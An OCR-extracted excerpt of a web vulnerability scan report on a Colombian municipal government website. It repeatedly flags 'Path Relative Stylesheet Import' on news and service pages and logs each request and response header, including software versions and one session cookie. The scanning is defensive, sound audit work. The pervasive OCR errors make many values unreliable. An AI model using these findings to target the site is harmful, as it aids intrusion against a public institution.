Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:49:06 GVl

Cont ent- Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ posts/ 22364>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22364>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent / pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet Inport.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
HTTP/ 1.1 200 OK
Server: nginx

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Date: Thu, 19 Dec 2024 07:21:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=22400>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Identification

PROOF

The following value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ tranite-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

PROOF

The follow ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
/

* https://cdnjs.cloudflare.conlajax/|ibs/sinple-line-icons/2.4.1/css/sinple-line-icons.mn.css

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVIT

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GMTI

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5bh853b5f 45bde4860b15e2765387503; path=/; HitpOnly
Last-Mdified: Thu, 19 Dec 2024 04:01:41 GV

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GVl

Cont ent- Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=632>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/participa/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent / pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet Inport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
HTTP/ 1.1 200 OK
Server: nginx

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/participa/

Date: Thu, 19 Dec 2024 03:39:13 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-
factura-de-los-impuestos-predial-e-ica/

Identification

PROOF

The following value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inpuestos-predial-e-ical

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:04:16 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/ web
[/ wp-j son/ wp/ v2/ posts/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

PROOF

The follow ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Stylesheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 06:17:33 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/wp/ v2/ posts/ 4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-

servicios-publicos/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servi ci os- publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
I wp-j son/ wp/ v2/ posts/ 19440>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/

Identification

PROOF

The following value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Stylesheet I|nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mobi l e: 20

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

PROOF

The follow ng value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[/ wp-j son/ wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a '"href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Stylesheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ama- de- gest i on- docunent al /

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

PROOF
The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
/

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 337 of 348


https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/
https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:08:06 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

PROOF

The follow ng value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet I|nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es- y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS
Sec- Fet ch- Dest: docunent
Sec- Fet ch- Mbde: navi gate

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=20823>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/v1/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

PROOF

The followi ng value is extracted froma <link> tag that inports a style sheet with a '"href' that does not begin with a
/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

